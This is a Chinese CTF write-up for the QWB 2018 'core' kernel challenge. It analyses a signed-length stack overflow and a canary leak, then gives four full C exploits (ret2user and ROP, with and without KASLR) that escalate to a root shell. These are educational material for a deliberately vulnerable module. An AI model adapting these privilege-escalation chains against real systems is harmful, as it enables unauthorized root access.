QWB-2018-core | 栈溢出

题目分析

core_write

signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{unsigned __int64 v3; // rbxv3 = a3;printk(&unk_215);if ( v3 <= 0x800 && !copy_from_user(&name, a2, v3) )return (unsigned int)v3;printk(&unk_230);return 4294967282LL;
}

core_write:将用户态的内容写入内核态全局变量name中

core_ioctl

__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{__int64 v3; // rbxv3 = a3;switch ( a2 ){case 0x6677889B:core_read(a3);break;case 0x6677889C:printk(&unk_2CD);off = v3;break;case 0x6677889A:printk(&unk_2B3);core_copy_func(v3);break;}return 0LL;
}

core_copy_func

signed __int64 __fastcall core_copy_func(signed __int64 a1)
{signed __int64 result; // rax__int64 v2; // [rsp+0h] [rbp-50h]unsigned __int64 v3; // [rsp+40h] [rbp-10h]v3 = __readgsqword(0x28u);printk(&unk_215);if ( a1 > 63 ){printk(&unk_2A1);result = 0xFFFFFFFFLL;}else{result = 0LL;qmemcpy(&v2, &name, (unsigned __int16)a1);}return result;
}

core_copy_func:将signed __int64 a1,将name中a1长度拷贝到局部变量v2中

  • 这里有个问题,当a1是负数的时候,可以绕过if ( a1 > 63 )检测
  • qmemcpy(&v2, &name, (unsigned __int16)a1);取a1的低二字节作为长度,将name的内容写入到v2中

设置off

    case 0x6677889C:printk(&unk_2CD);off = v3;break;

可以通过ioctl,cmd为0x6677889C指定off

core_read

unsigned __int64 __fastcall core_read(__int64 a1)
{__int64 v1; // rbx__int64 *v2; // rdisigned __int64 i; // rcxunsigned __int64 result; // rax__int64 v5; // [rsp+0h] [rbp-50h]unsigned __int64 v6; // [rsp+40h] [rbp-10h]v1 = a1;v6 = __readgsqword(0x28u);printk(&unk_25B);printk(&unk_275);v2 = &v5;for ( i = 16LL; i; --i ){*(_DWORD *)v2 = 0;v2 = (__int64 *)((char *)v2 + 4);}strcpy((char *)&v5, "Welcome to the QWB CTF challenge.\n");result = copy_to_user(v1, (char *)&v5 + off, 0x40LL);if ( !result )return __readgsqword(0x28u) ^ v6;__asm { swapgs }return result;
}

由于可以指定core_read,可以越界读取v5及其栈中的内容

利用方式

  • 经典的栈溢出漏洞
  • 先设置off,然后通过core_read读取canary
  • 再通过core_copy_func在栈上布局rop,提权

01_no_kaslr_ret2user

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*]status has been saved.");
}void get_shell(void){system("/bin/sh");
}void set_off(int fd, long long idx)
{printf("[*]set off to %ld\n", idx);ioctl(fd, 0x6677889C, idx);
}void core_read(int fd, char *buf)
{puts("[*]read to buf.");ioctl(fd, 0x6677889B, buf);}void core_copy_func(int fd, long long size)
{printf("[*]copy from user with size: %ld\n", size);ioctl(fd, 0x6677889A, size);
}size_t prepare_kernel_cred = 0xffffffff8109cce0;
size_t commit_creds = 0xffffffff8109c8e0;void get_root()
{char* (*pkc)(int) = prepare_kernel_cred;void (*cc)(char*) = commit_creds;(*cc)((*pkc)(0));/* puts("[*] root now."); */
}int main()
{save_status();int fd = open("/proc/core",O_RDWR);set_off(fd, 0x40);size_t buf[0x40/8];core_read(fd, buf);size_t canary = buf[0];printf("[*]canary : %p\n", canary);size_t rop[0x30] = {0};rop[8] = canary ; // exp 相对于 poc 的差别// rop[10] = 0x4141414141414141;rop[10] = (size_t)get_root;rop[11] = 0xffffffff81a012da; // swapgs; popfq; retrop[12] = 0;rop[13] = 0xffffffff81050ac2; // iretq; ret;rop[14] = (size_t)get_shell; rop[15] = user_cs;rop[16] = user_rflags;rop[17] = user_sp;rop[18] = user_ss;write(fd, rop, 0x30 * 8);core_copy_func(fd, 0xffffffffffff0000 | (0x100));return 0;
}

02_no_kaslr_rop

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*]status has been saved.");
}void spawn_shell()
{if(!getuid()){system("/bin/sh");}else{puts("[*]spawn shell error!");}exit(0);
}void set_off(int fd, long long idx)
{printf("[*]set off to %ld\n", idx);ioctl(fd, 0x6677889C, idx);
}void core_read(int fd, char *buf)
{puts("[*]read to buf.");ioctl(fd, 0x6677889B, buf);}void core_copy_func(int fd, long long size)
{printf("[*]copy from user with size: %ld\n", size);ioctl(fd, 0x6677889A, size);
}size_t prepare_kernel_cred = 0xffffffff8109cce0;
size_t commit_creds = 0xffffffff8109c8e0;void get_root()
{char* (*pkc)(int) = prepare_kernel_cred;void (*cc)(char*) = commit_creds;(*cc)((*pkc)(0));/* puts("[*] root now."); */
}int main()
{save_status();int fd = open("/proc/core",O_RDWR);set_off(fd, 0x40);size_t buf[0x40/8];core_read(fd, buf);size_t canary = buf[0];printf("[*]canary : %p\n", canary);int i = 10;size_t rop[0x30] = {0};rop[8] = canary ; // exp 相对于 poc 的差别// rop[10] = 0x4141414141414141;// 通过 rop链执行 commit_creds(prepare_kernel_cred (0));rop[i++] = 0xffffffff81000b2f; // pop rdi; retrop[i++] = 0;rop[i++] = prepare_kernel_cred;// prepare_kernel_cred(0)rop[i++] = 0xffffffff810a0f49; // pop rdx; retrop[i++] = 0xffffffff81021e53; // pop rcx; retrop[i++] = 0xffffffff8101aa6a; // mov rdi, rax; call rdx; rop[i++] = commit_creds;rop[i++] = 0xffffffff81a012da; // swapgs; popfq; retrop[i++] = 0;rop[i++] = 0xffffffff81050ac2; // iretq; ret; rop[i++] = (size_t)spawn_shell;         // rip 返回到用户态后检查一下uid的值rop[i++] = user_cs;                     // csrop[i++] = user_rflags;                 // rflagsrop[i++] = user_sp;                     // rsprop[i++] = user_ss;                     // sswrite(fd, rop, 0x30 * 8);core_copy_func(fd, 0xffffffffffff0000 | (0x100));return 0;
}

03_kaslr_ret2user_exp

这里绕过kaslr,还是通过题目提供的/tmp/kallsyms获取的符号地址

// gcc -static ret2user_exp.c -masm=intel -o ret2user_exp
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*]status has been saved.");
}void get_shell(void){system("/bin/sh");
}size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;
size_t find_symbols()
{FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */if(kallsyms_fd < 0){puts("[*]open kallsyms error!");exit(0);}char buf[0x30] = {0};while(fgets(buf, 0x30, kallsyms_fd)){if(commit_creds & prepare_kernel_cred)return 0;if(strstr(buf, "commit_creds") && !commit_creds){/* puts(buf); */char hex[20] = {0};strncpy(hex, buf, 16);/* printf("hex: %s\n", hex); */sscanf(hex, "%llx", &commit_creds);printf("commit_creds addr: %p\n", commit_creds);vmlinux_base = commit_creds - 0x9c8e0;printf("vmlinux_base addr: %p\n", vmlinux_base);}if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred){/* puts(buf); */char hex[20] = {0};strncpy(hex, buf, 16);sscanf(hex, "%llx", &prepare_kernel_cred);printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);vmlinux_base = prepare_kernel_cred - 0x9cce0;/* printf("vmlinux_base addr: %p\n", vmlinux_base); */}}if(!(prepare_kernel_cred & commit_creds)){puts("[*]Error!");exit(0);}}void get_root()
{char* (*pkc)(int) = prepare_kernel_cred;void (*cc)(char*) = commit_creds;(*cc)((*pkc)(0));/* puts("[*] root now."); */
}void set_off(int fd, long long idx)
{printf("[*]set off to %ld\n", idx);ioctl(fd, 0x6677889C, idx);
}void core_read(int fd, char *buf)
{puts("[*]read to buf.");ioctl(fd, 0x6677889B, buf);}void core_copy_func(int fd, long long size)
{printf("[*]copy from user with size: %ld\n", size);ioctl(fd, 0x6677889A, size);
}int main(void)
{find_symbols();size_t offset = vmlinux_base - raw_vmlinux_base;save_status();int fd = open("/proc/core",O_RDWR);set_off(fd, 0x40);size_t buf[0x40/8];core_read(fd, buf);size_t canary = buf[0];printf("[*]canary : %p\n", canary);size_t rop[0x30] = {0};rop[8] = canary ; rop[10] = (size_t)get_root;rop[11] = 0xffffffff81a012da + offset; // swapgs; popfq; retrop[12] = 0;rop[13] = 0xffffffff81050ac2 + offset; // iretq; ret;rop[14] = (size_t)get_shell; rop[15] = user_cs;rop[16] = user_rflags;rop[17] = user_sp;rop[18] = user_ss;puts("[*] DEBUG: ");getchar();write(fd, rop, 0x30 * 8);core_copy_func(fd, 0xffffffffffff0000 | (0x100));
}

04_kaslr_rop_exp

// gcc exploit.c -static -masm=intel -g -o exploit
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>void spawn_shell()
{if(!getuid()){system("/bin/sh");}else{puts("[*]spawn shell error!");}exit(0);
}size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
/* * give_to_player [master●●] check ./core.ko./core.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=54943668385c6573ec1b40a7c06127d9423103b3, not stripped[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/core.ko'Arch:     amd64-64-littleRELRO:    No RELROStack:    Canary foundNX:       NX enabledPIE:      No PIE (0x0)
*/
size_t vmlinux_base = 0;
size_t find_symbols()
{FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */if(kallsyms_fd < 0){puts("[*]open kallsyms error!");exit(0);}char buf[0x30] = {0};while(fgets(buf, 0x30, kallsyms_fd)){if(commit_creds & prepare_kernel_cred)return 0;if(strstr(buf, "commit_creds") && !commit_creds){/* puts(buf); */char hex[20] = {0};strncpy(hex, buf, 16);/* printf("hex: %s\n", hex); */sscanf(hex, "%llx", &commit_creds);printf("commit_creds addr: %p\n", commit_creds);/** give_to_player [master●●] bpythonbpython version 0.17.1 on top of Python 2.7.15 /usr/bin/python>>> from pwn import *>>> vmlinux = ELF("./vmlinux")[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/vmlinux'Arch:     amd64-64-littleRELRO:    No RELROStack:    Canary foundNX:       NX disabledPIE:      No PIE (0xffffffff81000000)RWX:      Has RWX segments>>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)'0x9c8e0'*/vmlinux_base = commit_creds - 0x9c8e0;printf("vmlinux_base addr: %p\n", vmlinux_base);}if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred){/* puts(buf); */char hex[20] = {0};strncpy(hex, buf, 16);sscanf(hex, "%llx", &prepare_kernel_cred);printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);vmlinux_base = prepare_kernel_cred - 0x9cce0;/* printf("vmlinux_base addr: %p\n", vmlinux_base); */}}if(!(prepare_kernel_cred & commit_creds)){puts("[*]Error!");exit(0);}}size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*]status has been saved.");
}void set_off(int fd, long long idx)
{printf("[*]set off to %ld\n", idx);ioctl(fd, 0x6677889C, idx);
}void core_read(int fd, char *buf)
{puts("[*]read to buf.");ioctl(fd, 0x6677889B, buf);}void core_copy_func(int fd, long long size)
{printf("[*]copy from user with size: %ld\n", size);ioctl(fd, 0x6677889A, size);
}int main()
{save_status();int fd = open("/proc/core", 2);if(fd < 0){puts("[*]open /proc/core error!");exit(0);}find_symbols();// gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;ssize_t offset = vmlinux_base - raw_vmlinux_base;set_off(fd, 0x40);char buf[0x40] = {0};core_read(fd, buf);size_t canary = ((size_t *)buf)[0];printf("[+]canary: %p\n", canary);size_t rop[0x1000] = {0};int i;for(i = 0; i < 10; i++){rop[i] = canary;}rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; retrop[i++] = 0;rop[i++] = prepare_kernel_cred;         // prepare_kernel_cred(0)// 关于 pop rcx; ret , call rdx的时候,会把 返回值push到栈中,需要把这个返回值弹走// 这里有一个pop_rcx_ret的原因是因为call指令的时候会把它的返回地址push入栈,这样会破坏我们的ROP链,所以要把它pop出去:rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; retrop[i++] = 0xffffffff81021e53 + offset; // pop rcx; retrop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; rop[i++] = commit_creds;rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; retrop[i++] = 0;rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; rop[i++] = (size_t)spawn_shell;         // rip rop[i++] = user_cs;                     // csrop[i++] = user_rflags;                 // rflagsrop[i++] = user_sp;                     // rsprop[i++] = user_ss;                     // sswrite(fd, rop, 0x800);core_copy_func(fd, 0xffffffffffff0000 | (0x100));return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/681547.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

今日早报 每日精选15条新闻简报 每天一分钟 知晓天下事 2月14日,星期三

每天一分钟&#xff0c;知晓天下事&#xff01; 2024年2月14日 星期三 农历正月初五 1、 第十四届全国冬季运动会将于17日开幕&#xff0c;部分赛事今天起陆续开赛。 2、 2024年购房政策将进一步宽松&#xff0c;专家称今年买房性价比更高。 3、 春节档票房突破45亿元&#…

docker 3.1 镜像

docker 3.1 镜像命令 拉取镜像 docker pull debian #从 Docker Hub 拉取名为 debian 的镜像docker pull hello-world #从 Docker Hub 拉入名为 hello-world 的镜像‍ 运行镜像/容器 docker run hello-world ‍ 查看本地所有的镜像 docker images​​ 容器生成镜像…

c++ STL系列——(七)set

在C的标准模板库&#xff08;STL&#xff09;中&#xff0c;set是一个非常有用的容器&#xff0c;用于存储一组按照特定顺序排列的元素&#xff0c;并且不允许重复元素的存在。本文将详细介绍set容器的特点、用法以及一些常用操作&#xff0c;希望对您有所帮助。 Set容器的特点…

【数据结构】链表OJ面试题3《判断是否有环》(题库+解析)

1.前言 前五题在这http://t.csdnimg.cn/UeggB 后三题在这http://t.csdnimg.cn/gbohQ 记录每天的刷题&#xff0c;继续坚持&#xff01; 2.OJ题目训练 9. 给定一个链表&#xff0c;判断链表中是否有环。 力扣&#xff08;LeetCode&#xff09;官网 - 全球极客挚爱的技术成…

如何使用六图一表七种武器

六图一表七种武器用于质量管理&#xff1a; 描述当遇到问题时应该用那张图来解决&#xff1a; 一、如果题目说出了质量问题需要找原因&#xff1f; 解&#xff1a;用因果图&#xff0c;因果图也称石川图或鱼骨图 二、如果要判断过程是否稳定受控&#xff1f; 解&#xff1a…

4核8G服务器支持多少人同时在线访问?

腾讯云4核8G服务器支持多少人在线访问&#xff1f;支持25人同时访问。实际上程序效率不同支持人数在线人数不同&#xff0c;公网带宽也是影响4核8G服务器并发数的一大因素&#xff0c;假设公网带宽太小&#xff0c;流量直接卡在入口&#xff0c;4核8G配置的CPU内存也会造成计算…

Transformer实战-系列教程15:DETR 源码解读2(ConvertCocoPolysToMask类)

&#x1f6a9;&#x1f6a9;&#x1f6a9;Transformer实战-系列教程总目录 有任何问题欢迎在下面留言 本篇文章的代码运行界面均在Pycharm中进行 本篇文章配套的代码资源已经上传 点我下载源码 DETR 算法解读 DETR 源码解读1&#xff08;项目配置/CocoDetection类&#xff09; …

【51单片机】LCD1602(江科大)

1.LCD1602介绍 LCD1602(Liquid Crystal Display)液晶显示屏是一种字符型液晶显示模块,可以显示ASCII码的标准字符和其它的一些内置特殊字符,还可以有8个自定义字符 显示容量:162个字符,每个字符为5*7点阵 2.引脚及应用电路 3.内部结构框图 屏幕: 字模库:类似于数码管的数…

代码随想录算法训练营|day31

第八章 贪心算法 455.分发饼干376.摆动序列53.最大子序和代码随想录文章详解 455.分发饼干 对饼干和胃口进行排序 遍历胃口&#xff0c;若当前饼干值<胃口值&#xff0c;饼干继续往后寻找更大值 否则计数1&#xff0c;向后遍历饼干值使其满足下一个胃口值 func findConten…

一起玩儿Proteus仿真(C51)——05. 红绿灯仿真(一)

摘要&#xff1a;本文介绍如何仿真红绿灯 今天来做一个红绿灯仿真的程序&#xff0c;这个程序主要包括一下这些功能&#xff1a; 模拟的路口为十字交叉路口&#xff0c;假设东西和南北方向都是双向行驶&#xff0c;因此需要设置4组红绿灯和4个倒计时显示屏。倒计时时间最长为9…

255.【华为OD机试真题】最小矩阵宽度(滑动窗口算法-JavaPythonC++JS实现)

🚀点击这里可直接跳转到本专栏,可查阅顶置最新的华为OD机试宝典~ 本专栏所有题目均包含优质解题思路,高质量解题代码(Java&Python&C++&JS分别实现),详细代码讲解,助你深入学习,深度掌握! 文章目录 一. 题目二.解题思路三.题解代码Python题解代码JAVA题解…

【教程】C++语言基础学习笔记(七)——Array数组

写在前面&#xff1a; 如果文章对你有帮助&#xff0c;记得点赞关注加收藏一波&#xff0c;利于以后需要的时候复习&#xff0c;多谢支持&#xff01; 【C语言基础学习】系列文章 第一章 《项目与程序结构》 第二章 《数据类型》 第三章 《运算符》 第四章 《流程控制》 第五章…

Linux_进程概念

硬件系统 软件系统 进程概念 进程状态 孤儿进程 进程优先级 一.硬件系统 1.1 冯诺依曼体系结构 数学家冯诺依曼提出了计算机制造的三个基本原则&#xff0c;即采用二进制逻辑、程序存储执行以及计算机由五个部分组成&#xff08;运算器、控制器、存储器、输入设备、输出设备&a…

力扣-28. 找出字符串中第一个匹配项的下标

文章目录 力扣题目代码 力扣题目 给你两个字符串 haystack 和 needle &#xff0c;请你在 haystack 字符串中找出 needle 字符串的第一个匹配项的下标&#xff08;下标从 0 开始&#xff09;。如果 needle 不是 haystack 的一部分&#xff0c;则返回 -1 。 示例 1&#xff1a…

Python学习之路-爬虫提高:scrapy基础

Python学习之路-爬虫提高:scrapy基础 为什么要学习scrapy 通过前面的学习&#xff0c;我们已经能够解决90%的爬虫问题了&#xff0c;那么scrapy是为了解决剩下的10%的问题么&#xff0c;不是&#xff0c;scrapy框架能够让我们的爬虫效率更高 什么是scrapy Scrapy是一个为了…

适应力和应变力是智能的重要组成部分

适应力和应变力在智能系统中扮演着非常重要的角色。在面对复杂、多变的环境和问题时&#xff0c;一个智能系统需要具备适应和调整自身行为的能力&#xff0c;这就需要依赖适应力和应变力。 适应力指的是系统对环境变化的感知、理解和调整能力。一个具有良好适应力的系统能够及时…

tee漏洞学习-翻译-3:TrustZone exploit for MSM8974

原文&#xff1a;http://bits-please.blogspot.com/2015/08/full-trustzone-exploit-for-msm8974.html 在这篇博文中&#xff0c;我们将介绍利用上一篇文章中描述的 TrustZone 漏洞的完整过程。 在开发此漏洞时&#xff0c;我只使用了我值得信赖的&#xff08;个人&#xff0…

120.乐理基础-五线谱-五线谱的多声部与指法问题

内容参考于&#xff1a;三分钟音乐社 上一个内容&#xff1a;119.乐理基础-五线谱-五线谱的标记-CSDN博客 五线谱多声部与简谱的多声部一样&#xff1a;简谱的多声部 五线谱多声部例子&#xff1a;钢琴谱 另一个例子&#xff1a;在纵向上有多个音符 然后放大之后&#xff0c…

【51单片机】利用【时间延迟】的原理规避【按键抖动问题】

前言 大家好吖&#xff0c;欢迎来到 YY 滴单片机系列 &#xff0c;热烈欢迎&#xff01; 本章主要内容面向接触过单片机的老铁 本章是51LCD单片机设计的一个环节&#xff0c;完整可前往相应博客查看完整传送门 欢迎订阅 YY滴C专栏&#xff01;更多干货持续更新&#xff01;以下…

详解CC++内存管理(new和delete)

文章目录 写在前面1. C&C内存分布2. C语言中动态内存管理方式&#xff1a;malloc/calloc/realloc/free3. C内存管理方式&#xff08;语法&#xff09;3.1 new/delete操作内置类型3.2 new和delete操作自定义类型 4. new和delete的实现原理4.1 operator new与operator delete…